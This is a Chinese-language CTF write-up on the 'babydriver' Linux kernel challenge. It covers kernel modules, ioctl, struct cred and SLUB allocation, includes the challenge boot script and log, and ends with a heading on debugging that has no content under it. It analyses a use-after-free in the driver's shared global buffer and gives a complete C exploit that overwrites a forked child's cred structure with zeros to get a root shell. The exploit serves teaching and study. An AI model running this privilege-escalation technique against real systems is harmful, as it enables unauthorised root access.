CTF-PWN-babydriver (linux kernel pwn+UAF)

第一次接触linux kernel pwn,和传统的pwn题区别较大,需要比较多的前置知识,以及这种题的环境搭建、运行和调试相关的知识。


Linux内核及内核模块

Linux内核(Kernel)

这里只对内核做简单的介绍,能够理解本题给出的文件即可,更多相关知识可以参考大学教材《操作系统基础》。

Linux内核是运行于内核空间的程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理。这里要注意在linux系统启动之后,其内核是一直在运行的。

kernel 最主要的功能有两点:

  • 控制并与硬件进行交互
  • 提供 application 能运行的环境

包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。

内核模块(LKM)

为了拓展内核功能,而不对内核代码进行修改,出现了内核模块的概念。内核模块是可以根据需要加载到内核中或从内核中卸载的代码块,因此无需重启就可以扩展内核的功能。
内核模块相关的命令如下:

  1. insmod把指定模块加载到内核中
  2. rmmod从内核中卸载指定模块
  3. lsmod列出内核已经加载的模块

我们可以把内核模块当作在内核空间运行的可执行程序。要注意的是内核模块包括驱动程序和内核扩展模块,而本题的漏洞点就出在驱动程序的模块上。

ioclt

ioctl 是一个系统调用,用于与设备通信。
int ioctl(int fd, unsigned long request, ...)
第一个参数为打开设备 (open) 返回的文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。
ioctl函数是文件结构中的一个属性分量,如果一个驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。所以在可以通过ioctl控制IO通道的设备的驱动程序中,一般应该会存在一个类似于对 ioctl “重载”的定义,来满足自己对IO通信的需要。

struct cred

kernel需要记录每一个进程的权限信息,而这个权限信息是使用cred结构体记录的。
每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。这个cred结构体不同内核版本可能会有差别,这个可以通过该网站进行查找。
本题内核版本为4.4.72,查找到的cred结构体源码为:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

SLUB&SLAB

kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。

SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。

内核态函数

内核中一些函数和用户态相应的函数有类似的功能,比较常见的有:

  • printf() -> printk(),但需要注意的是 printk() 不一定会把内容显示到终端上,但一定在内核缓冲区里
  • memcpy() ->copy_from_user()/copy_to_user(),其中copy_from_user() 实现了将用户空间的数据传送到内核空间,copy_to_user() 实现了将内核空间的数据传送到用户空间
  • malloc() -> kmalloc(),内核态的内存分配函数,对应 malloc() ,但使用的是 slab/slub 分配器
  • free() -> kfree(),同上

题目分析

程序概述

题目中给出了三个文件:

  • rootfs.cpio,文件系统映像
  • bzImage,kernal镜像
  • boot.sh,运行脚本,使用了qemu启动,里面含有一些必要的参数
    首先将rootfs.cpio解包,观察文件结构
mv ./rootfs.cpio ./rootfs.cpio.gz
gunzip rootfs.cpio.gz

解包后发现存在一个init文件,查看内容
init文件

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

发现这个内核挂载了一个名为babydriver.ko的内核模块,根据名称可以知道这应该是一个驱动程序。而本题的漏洞也多半会存在于这个驱动程序中。
boot.sh脚本启动后观察效果:

supergate@ubuntu:~/Desktop/Pwn$ ./boot.sh
[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Initializing cgroup subsys cpuacct
[    0.000000] Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP Thu Jun 15 19:52:50 PDT 2017
[    0.000000] Command line: console=ttyS0 root=/dev/ram oops=panic panic=1
[    0.000000] KERNEL supported cpus:
[    0.000000]   Intel GenuineIntel
[    0.000000]   AMD AuthenticAMD
[    0.000000]   Centaur CentaurHauls
[    0.000000] x86/fpu: Legacy x87 FPU detected.
[    0.000000] x86/fpu: Using 'lazy' FPU context switches.
[    0.000000] e820: BIOS-provided physical RAM map:
[    0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable
[    0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved
[    0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved
[    0.000000] BIOS-e820: [mem 0x0000000000100000-0x0000000003fdffff] usable
[    0.000000] BIOS-e820: [mem 0x0000000003fe0000-0x0000000003ffffff] reserved
[    0.000000] BIOS-e820: [mem 0x00000000feffc000-0x00000000feffffff] reserved
[    0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved
[    0.000000] NX (Execute Disable) protection: active
[    0.000000] SMBIOS 2.8 present.
[    0.000000] Hypervisor detected: KVM
[    0.000000] AGP: No AGP bridge found
[    0.000000] e820: last_pfn = 0x3fe0 max_arch_pfn = 0x400000000
[    0.000000] x86/PAT: Configuration [0-7]: WB  WC  UC- UC  WB  WC  UC- UC  
[    0.000000] found SMP MP-table at [mem 0x000f6640-0x000f664f] mapped at [ffff8800000f6640]
[    0.000000] Scanning 1 areas for low memory corruption
[    0.000000] RAMDISK: [mem 0x038bd000-0x03fdffff]
[    0.000000] ACPI: Early table checksum verification disabled
[    0.000000] ACPI: RSDP 0x00000000000F6460 000014 (v00 BOCHS )
[    0.000000] ACPI: RSDT 0x0000000003FE16EE 000034 (v01 BOCHS  BXPCRSDT 00000001 BXPC 00000001)
[    0.000000] ACPI: FACP 0x0000000003FE0C14 000074 (v01 BOCHS  BXPCFACP 00000001 BXPC 00000001)
[    0.000000] ACPI: DSDT 0x0000000003FE0040 000BD4 (v01 BOCHS  BXPCDSDT 00000001 BXPC 00000001)
[    0.000000] ACPI: FACS 0x0000000003FE0000 000040
[    0.000000] ACPI: SSDT 0x0000000003FE0C88 0009B6 (v01 BOCHS  BXPCSSDT 00000001 BXPC 00000001)
[    0.000000] ACPI: APIC 0x0000000003FE163E 000078 (v01 BOCHS  BXPCAPIC 00000001 BXPC 00000001)
[    0.000000] ACPI: HPET 0x0000000003FE16B6 000038 (v01 BOCHS  BXPCHPET 00000001 BXPC 00000001)
[    0.000000] No NUMA configuration found
[    0.000000] Faking a node at [mem 0x0000000000000000-0x0000000003fdffff]
[    0.000000] NODE_DATA(0) allocated [mem 0x038b9000-0x038bcfff]
[    0.000000] kvm-clock: Using msrs 4b564d01 and 4b564d00
[    0.000000] kvm-clock: cpu 0, msr 0:38b1001, primary cpu clock
[    0.000000] kvm-clock: using sched offset of 2760115512 cycles
[    0.000000] clocksource: kvm-clock: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
[    0.000000] Zone ranges:
[    0.000000]   DMA      [mem 0x0000000000001000-0x0000000000ffffff]
[    0.000000]   DMA32    [mem 0x0000000001000000-0x0000000003fdffff]
[    0.000000]   Normal   empty
[    0.000000] Movable zone start for each node
[    0.000000] Early memory node ranges
[    0.000000]   node   0: [mem 0x0000000000001000-0x000000000009efff]
[    0.000000]   node   0: [mem 0x0000000000100000-0x0000000003fdffff]
[    0.000000] Initmem setup node 0 [mem 0x0000000000001000-0x0000000003fdffff]
[    0.000000] ACPI: PM-Timer IO Port: 0x608
[    0.000000] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
[    0.000000] IOAPIC[0]: apic_id 0, version 17, address 0xfec00000, GSI 0-23
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
[    0.000000] Using ACPI (MADT) for SMP configuration information
[    0.000000] ACPI: HPET id: 0x8086a201 base: 0xfed00000
[    0.000000] smpboot: Allowing 1 CPUs, 0 hotplug CPUs
[    0.000000] PM: Registered nosave memory: [mem 0x00000000-0x00000fff]
[    0.000000] PM: Registered nosave memory: [mem 0x0009f000-0x0009ffff]
[    0.000000] PM: Registered nosave memory: [mem 0x000a0000-0x000effff]
[    0.000000] PM: Registered nosave memory: [mem 0x000f0000-0x000fffff]
[    0.000000] e820: [mem 0x04000000-0xfeffbfff] available for PCI devices
[    0.000000] Booting paravirtualized kernel on KVM
[    0.000000] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645519600211568 ns
[    0.000000] setup_percpu: NR_CPUS:512 nr_cpumask_bits:512 nr_cpu_ids:1 nr_node_ids:1
[    0.000000] PERCPU: Embedded 33 pages/cpu @ffff880003600000 s97752 r8192 d29224 u2097152
[    0.000000] KVM setup async PF for cpu 0
[    0.000000] kvm-stealtime: cpu 0, msr 360d9c0
[    0.000000] Built 1 zonelists in Node order, mobility grouping on.  Total pages: 15977
[    0.000000] Policy zone: DMA32
[    0.000000] Kernel command line: console=ttyS0 root=/dev/ram oops=panic panic=1
[    0.000000] PID hash table entries: 256 (order: -1, 2048 bytes)
[    0.000000] AGP: Checking aperture...
[    0.000000] AGP: No AGP bridge found
[    0.000000] Memory: 36716K/65016K available (8314K kernel code, 1279K rwdata, 3976K rodata, 1464K init, 1316K bss, 28300K reserved, 0K cma-reserved)
[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	Build-time adjustment of leaf fanout to 64.
[    0.000000] 	RCU restricting CPUs from NR_CPUS=512 to nr_cpu_ids=1.
[    0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=64, nr_cpu_ids=1
[    0.000000] NR_IRQS:33024 nr_irqs:256 16
[    0.000000] Console: colour VGA+ 80x25
[    0.000000] console [ttyS0] enabled
[    0.000000] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
[    0.000000] tsc: Detected 2496.004 MHz processor
[    1.126170] Calibrating delay loop (skipped) preset value.. 4992.00 BogoMIPS (lpj=9984016)
[    1.135268] pid_max: default: 32768 minimum: 301
[    1.139451] ACPI: Core revision 20150930
[    1.143947] ACPI: 2 ACPI AML tables successfully acquired and loaded
[    1.149670] Security Framework initialized
[    1.159434] Yama: becoming mindful.
[    1.165690] AppArmor: AppArmor initialized
[    1.169775] Dentry cache hash table entries: 8192 (order: 4, 65536 bytes)
[    1.175475] Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    1.180909] Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
[    1.186493] Mountpoint-cache hash table entries: 512 (order: 0, 4096 bytes)
[    1.202340] Initializing cgroup subsys io
[    1.206327] Initializing cgroup subsys memory
[    1.209941] Initializing cgroup subsys devices
[    1.214065] Initializing cgroup subsys freezer
[    1.217674] Initializing cgroup subsys net_cls
[    1.221637] Initializing cgroup subsys perf_event
[    1.233247] Initializing cgroup subsys net_prio
[    1.237091] Initializing cgroup subsys hugetlb
[    1.241131] Initializing cgroup subsys pids
[    1.245307] mce: CPU supports 10 MCE banks
[    1.249862] Last level iTLB entries: 4KB 0, 2MB 0, 4MB 0
[    1.254246] Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0
[    1.384361] Freeing SMP alternatives memory: 28K (ffffffff820af000 - ffffffff820b6000)
[    1.473797] ftrace: allocating 31613 entries in 124 pages
[    1.796247] x2apic enabled
[    1.800944] Switched APIC routing to physical x2apic.
[    1.818564] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
[    1.935052] smpboot: CPU0: Intel Common KVM processor (family: 0xf, model: 0x6, stepping: 0x1)
[    1.942138] Performance Events: unsupported Netburst CPU model 6 no PMU driver, software events only.
[    1.955691] x86: Booted up 1 node, 1 CPUs
[    1.958859] smpboot: Total of 1 processors activated (4992.00 BogoMIPS)
[    1.974619] devtmpfs: initialized
[    1.979005] evm: security.selinux
[    1.981697] evm: security.SMACK64
[    1.984283] evm: security.SMACK64EXEC
[    1.988081] evm: security.SMACK64TRANSMUTE
[    1.991379] evm: security.SMACK64MMAP
[    1.998533] evm: security.ima
[    2.005084] evm: security.capability
[    2.008165] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    2.016654] futex hash table entries: 256 (order: 2, 16384 bytes)
[    2.022035] pinctrl core: initialized pinctrl subsystem
[    2.027986] RTC time:  9:44:49, date: 02/26/20
[    2.039634] NET: Registered protocol family 16
[    2.044413] cpuidle: using governor ladder
[    2.047594] cpuidle: using governor menu
[    2.050727] PCCT header not found.
[    2.053502] ACPI: bus type PCI registered
[    2.057422] acpiphp: ACPI Hot Plug PCI Controller Driver version: 0.5
[    2.066861] PCI: Using configuration type 1 for base access
[    2.077126] ACPI: Added _OSI(Module Device)
[    2.080466] ACPI: Added _OSI(Processor Device)
[    2.083929] ACPI: Added _OSI(3.0 _SCP Extensions)
[    2.088056] ACPI: Added _OSI(Processor Aggregator Device)
[    2.094173] ACPI: Interpreter enabled
[    2.102266] ACPI: (supports S0 S3 S4 S5)
[    2.108104] ACPI: Using IOAPIC for interrupt routing
[    2.112005] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug
[    2.122195] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff])
[    2.127097] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI]
[    2.145882] acpi PNP0A03:00: _OSC failed (AE_NOT_FOUND); disabling ASPM
[    2.153082] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge.
[    2.168659] acpiphp: Slot [3] registered
[    2.179218] acpiphp: Slot [4] registered
[    2.183204] acpiphp: Slot [5] registered
[    2.189741] acpiphp: Slot [6] registered
[    2.194041] acpiphp: Slot [7] registered
[    2.197961] acpiphp: Slot [8] registered
[    2.212001] acpiphp: Slot [9] registered
[    2.215234] acpiphp: Slot [10] registered
[    2.219508] acpiphp: Slot [11] registered
[    2.224305] acpiphp: Slot [12] registered
[    2.227651] acpiphp: Slot [13] registered
[    2.240972] acpiphp: Slot [14] registered
[    2.249166] acpiphp: Slot [15] registered
[    2.253148] acpiphp: Slot [16] registered
[    2.256811] acpiphp: Slot [17] registered
[    2.260038] acpiphp: Slot [18] registered
[    2.263474] acpiphp: Slot [19] registered
[    2.269134] acpiphp: Slot [20] registered
[    2.280148] acpiphp: Slot [21] registered
[    2.289524] acpiphp: Slot [22] registered
[    2.292841] acpiphp: Slot [23] registered
[    2.296220] acpiphp: Slot [24] registered
[    2.301095] acpiphp: Slot [25] registered
[    2.305431] acpiphp: Slot [26] registered
[    2.309009] acpiphp: Slot [27] registered
[    2.320097] acpiphp: Slot [28] registered
[    2.325455] acpiphp: Slot [29] registered
[    2.330488] acpiphp: Slot [30] registered
[    2.335618] acpiphp: Slot [31] registered
[    2.340361] PCI host bridge to bus 0000:00
[    2.348867] pci_bus 0000:00: root bus resource [io  0x0000-0x0cf7 window]
[    2.360245] pci_bus 0000:00: root bus resource [io  0x0d00-0xffff window]
[    2.365726] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window]
[    2.374740] pci_bus 0000:00: root bus resource [mem 0x04000000-0xfebfffff window]
[    2.387600] pci_bus 0000:00: root bus resource [bus 00-ff]
[    2.404751] pci 0000:00:01.1: legacy IDE quirk: reg 0x10: [io  0x01f0-0x01f7]
[    2.411180] pci 0000:00:01.1: legacy IDE quirk: reg 0x14: [io  0x03f6]
[    2.426400] pci 0000:00:01.1: legacy IDE quirk: reg 0x18: [io  0x0170-0x0177]
[    2.432042] pci 0000:00:01.1: legacy IDE quirk: reg 0x1c: [io  0x0376]
[    2.439970] pci 0000:00:01.3: quirk: [io  0x0600-0x063f] claimed by PIIX4 ACPI
[    2.446346] pci 0000:00:01.3: quirk: [io  0x0700-0x070f] claimed by PIIX4 SMB
[    2.502722] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11)
[    2.508897] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11)
[    2.513869] ACPI: PCI Interrupt Link [LNKC] (IRQs 5 10 *11)
[    2.526835] ACPI: PCI Interrupt Link [LNKD] (IRQs 5 10 *11)
[    2.531684] ACPI: PCI Interrupt Link [LNKS] (IRQs *9)
[    2.537967] ACPI: Enabled 16 GPEs in block 00 to 0F
[    2.545048] vgaarb: setting as boot device: PCI:0000:00:02.0
[    2.553316] vgaarb: device added: PCI:0000:00:02.0,decodes=io+mem,owns=io+mem,locks=none
[    2.565012] vgaarb: loaded
[    2.567221] vgaarb: bridge control possible 0000:00:02.0
[    2.573230] SCSI subsystem initialized
[    2.577864] ACPI: bus type USB registered
[    2.581260] usbcore: registered new interface driver usbfs
[    2.594682] usbcore: registered new interface driver hub
[    2.600254] usbcore: registered new device driver usb
[    2.605438] PCI: Using ACPI for IRQ routing
[    2.611214] NetLabel: Initializing
[    2.613946] NetLabel:  domain hash size = 128
[    2.626252] NetLabel:  protocols = UNLABELED CIPSOv4
[    2.630328] NetLabel:  unlabeled traffic allowed by default
[    2.635448] HPET: 3 timers in total, 0 timers will be used for per-cpu timer
[    2.641267] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0
[    2.646116] hpet0: 3 comparators, 64-bit 100.000000 MHz counter
[    2.663148] amd_nb: Cannot enumerate AMD northbridges
[    2.667373] clocksource: Switched to clocksource kvm-clock
[    2.699086] AppArmor: AppArmor Filesystem Enabled
[    2.703094] pnp: PnP ACPI init
[    2.706856] pnp: PnP ACPI: found 6 devices
[    2.722974] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
[    2.732751] NET: Registered protocol family 2
[    2.737665] TCP established hash table entries: 512 (order: 0, 4096 bytes)
[    2.743316] TCP bind hash table entries: 512 (order: 1, 8192 bytes)
[    2.752852] TCP: Hash tables configured (established 512 bind 512)
[    2.762468] UDP hash table entries: 256 (order: 1, 8192 bytes)
[    2.767091] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
[    2.772649] NET: Registered protocol family 1
[    2.777046] pci 0000:00:00.0: Limiting direct PCI/PCI transfers
[    2.785710] pci 0000:00:01.0: PIIX3: Enabling Passive Release
[    2.794834] pci 0000:00:01.0: Activating ISA DMA hang workarounds
[    2.801052] Unpacking initramfs...
[    2.849022] Freeing initrd memory: 7308K (ffff8800038bd000 - ffff880003fe0000)
[    2.855925] Scanning for low memory corruption every 60 seconds
[    2.865267] audit: initializing netlink subsys (disabled)
[    2.872396] audit: type=2000 audit(1582710289.862:1): initialized
[    2.885141] Initialise system trusted keyring
[    2.889429] HugeTLB registered 2 MB page size, pre-allocated 0 pages
[    2.896229] zbud: loaded
[    2.899841] VFS: Disk quotas dquot_6.6.0
[    2.903167] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    2.918135] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[    2.923624] fuse init (API version 7.23)
[    2.927059] Key type big_key registered
[    2.931118] Key type asymmetric registered
[    2.934445] Asymmetric key parser 'x509' registered
[    2.938584] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 249)
[    2.952586] io scheduler noop registered
[    2.956347] io scheduler deadline registered (default)
[    2.960730] io scheduler cfq registered
[    2.964674] pci_hotplug: PCI Hot Plug PCI Core version: 0.5
[    2.969120] pciehp: PCI Express Hot Plug Controller Driver version: 0.4
[    2.979438] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0
[    2.988527] ACPI: Power Button [PWRF]
[    2.991992] GHES: HEST is not enabled!
[    2.995860] Serial: 8250/16550 driver, 32 ports, IRQ sharing enabled
[    3.038517] 00:05: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A
[    3.050003] Linux agpgart interface v0.103
[    3.056152] loop: module loaded
[    3.060830] scsi host0: ata_piix
[    3.063458] scsi host1: ata_piix
[    3.066541] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc040 irq 14
[    3.079888] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc048 irq 15
[    3.087257] libphy: Fixed MDIO Bus: probed
[    3.090801] tun: Universal TUN/TAP device driver, 1.6
[    3.094813] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
[    3.099796] PPP generic driver version 2.4.2
[    3.108218] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[    3.116499] ehci-pci: EHCI PCI platform driver
[    3.120513] ehci-platform: EHCI generic platform driver
[    3.124763] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[    3.129676] ohci-pci: OHCI PCI platform driver
[    3.133321] ohci-platform: OHCI generic platform driver
[    3.146785] uhci_hcd: USB Universal Host Controller Interface driver
[    3.152637] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12
[    3.162979] serio: i8042 KBD port at 0x60,0x64 irq 1
[    3.166992] serio: i8042 AUX port at 0x60,0x64 irq 12
[    3.179704] mousedev: PS/2 mouse device common for all mice
[    3.185052] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1
[    3.192883] rtc_cmos 00:00: RTC can wake from S4
[    3.198721] rtc_cmos 00:00: rtc core: registered rtc_cmos as rtc0
[    3.213197] rtc_cmos 00:00: alarms up to one day, 114 bytes nvram, hpet irqs
[    3.219356] i2c /dev entries driver
[    3.222491] device-mapper: uevent: version 1.0.3
[    3.226215] device-mapper: ioctl: 4.34.0-ioctl (2015-10-28) initialised: dm-devel@redhat.com
[    3.233259] ledtrig-cpu: registered to indicate activity on CPUs
[    3.249688] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100
[    3.256259] NET: Registered protocol family 10
[    3.261163] ata2.00: configured for MWDMA2
[    3.265366] NET: Registered protocol family 17
[    3.277266] scsi 1:0:0:0: CD-ROM            QEMU     QEMU DVD-ROM     2.5+ PQ: 0 ANSI: 5
[    3.285606] Key type dns_resolver registered
[    3.289694] microcode: CPU0 sig=0xf61, pf=0x1, revision=0x1
[    3.296241] microcode: Microcode Update Driver: v2.01 <tigran@aivazian.fsnet.co.uk>, Peter Oruba
[    3.313056] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray
[    3.318515] cdrom: Uniform CD-ROM driver Revision: 3.20
[    3.323037] registered taskstats version 1
[    3.326338] Loading compiled-in X.509 certificates
[    3.332347] sr 1:0:0:0: Attached scsi generic sg0 type 5
[    3.348425] Loaded X.509 cert 'Build time autogenerated kernel key: bacd82d239214df43588d9d92466da88ef29ce76'
[    3.359357] zswap: loaded using pool lzo/zbud
[    3.368756] Key type trusted registered
[    3.385747] Key type encrypted registered
[    3.392329] AppArmor: AppArmor sha1 policy hashing enabled
[    3.396900] ima: No TPM chip found, activating TPM-bypass!
[    3.402426] evm: HMAC attrs: 0x1
[    3.412525]   Magic number: 8:566:728
[    3.419380] rtc_cmos 00:00: setting system clock to 2020-02-26 09:44:51 UTC (1582710291)
[    3.428710] BIOS EDD facility v0.16 2004-Jun-25, 0 devices found
[    3.437219] EDD information not available.
[    3.455895] Freeing unused kernel memory: 1464K (ffffffff81f41000 - ffffffff820af000)
[    3.462366] Write protecting the kernel read-only data: 14336k
[    3.490217] Freeing unused kernel memory: 1916K (ffff880001821000 - ffff880001a00000)
[    3.497419] Freeing unused kernel memory: 120K (ffff880001de2000 - ffff880001e00000)
chown: flag: No such file or directory
chmod: flag: No such file or directory
[    3.530875] babydriver: module verification failed: signature and/or required key missing - tainting kernel

Boot took 1.70 seconds

/ $ ls
bin          home         linuxrc      rootfs.cpio  tmp
dev          init         proc         sbin         usr
etc          lib          root         sys
/ $ cd root
sh: cd: can't cd to root

大概猜到程序需要我们提权,成为root从而获得flag
babydriver.ko放入ida查看逻辑,发现主要有这样几个函数:
在这里插入图片描述

  • babydriver_init &babydriver_exit函数进行的是参数设置之类的工作,可以不用太过关注。但是要知道在init中设置了/dev/babydev作为设备文件,所以我们到时候可以通过open("/dev/babydev")来调用设备,从而调用这个驱动程序。
  • babyopen,初始化babydev_struct结构体。这个结构体包含babydev_struct.device_bufbabydev_struct.device_buf_len两个域,分别表示内核缓冲区指针和缓冲区长度。在这个函数中会用kmem_cache_alloc_trace初始化babydev_struct.device_buf,并将babydev_struct.device_buf_len设置为64
  • babyrelease,和上面相反,使用kfree释放内存。注意kfree也会导致野指针出现
  • babyread &babywrite,分别为向用户buffer写入device_buf中的内容和从用户buffer读取内容至device_buf,用户传递长度和缓冲区地址作为参数,只有device_buf_len超过了这个长度才可以进行拷贝或者输出。两者都首先进行了device_buf指针是否为空的检查,再进行后续操作
  • babyioctl,定义了 0x10001 的命令,可以释放全局变量babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len

漏洞分析

注意在内核情况下我们需要更多的考虑并行、进程的问题,内核的很多漏洞都会和这几个方面有关。
根据上面所说的,所有进程内核态的变量都指向同一片物理内存,所以全局变量babydev_struct会被所有进程共享,并且由于SLUB&SLAB分配器的特点,分配一块内存时会优先寻找有没有刚被释放的,同样大小的内存,我们可以尝试构造一个条件竞争造成的UAF,修改结构体creduid=gid=0,从而提权:

  1. 连续两次打开设备,设文件描述符分别为fd1, fd2。这个时候由于fd1, fd2共享内存,会导致fd2覆盖fd1分配的空间。
  2. 先使用ioctl函数修改fd1的babydev_struct.dev_buf_lensizeof(cred),在本题内核版本为4.4.72情况下,cred结构体大小为0xa8。babydev_struct.dev_buf会被分配一块内存,由于babydev_struct被所有进程共享,所以fd2的babydev_struct也被修改,与fd1相同
  3. 关闭fd1,这时fd中的babydev_struct被释放,分配的内存也被回收,但是fd2的babydev_struct.device_buf仍然指向这一块内存,如果使用fd2的write函数仍然可以向这一片空间写入数据
  4. 通过fork开启一个新进程p。p进程的cred结构体在被分配空间时会优先被分配刚被释放的,与cred结构体大小相同的空间,即刚才fd1释放的babydev_struct.device_buf指向的空间,也即现在fd2的babydev_struct.device_buf指向的空间,由于fd2还可控,所以相当于我们已经控制了p进程的cred结构体,从而提权
  5. 将p进程的cred.gid, cred.uid覆盖为0。可以直接使用fd2的read写入。这里注意只需要将28字节的长度

exp

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main(){
    int fd1=open("/dev/babydev",2);
    int fd2=open("/dev/babydev",2);
    
    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    int pid=fork();
    if(pid<0){
	puts("fork error");
	exit(0);
    }
    else if(pid==0){
	char payload[30]={0};
	write(fd2,payload,28);
	if(getuid()==0){
	    puts("you are root!!");
	    system("/bin/sh");
	    exit(0);
	}
    }
    else {
	wait(NULL);
    }
    close(fd2);
    return 0;
}
gcc exploit.c -static -o exploit # kernel 中没有 libc,故静态编译文件

在内核中运行exploit即可提权

内核调试相关

这里只介绍有exp的调试,没有exp的裸调操作基本相同
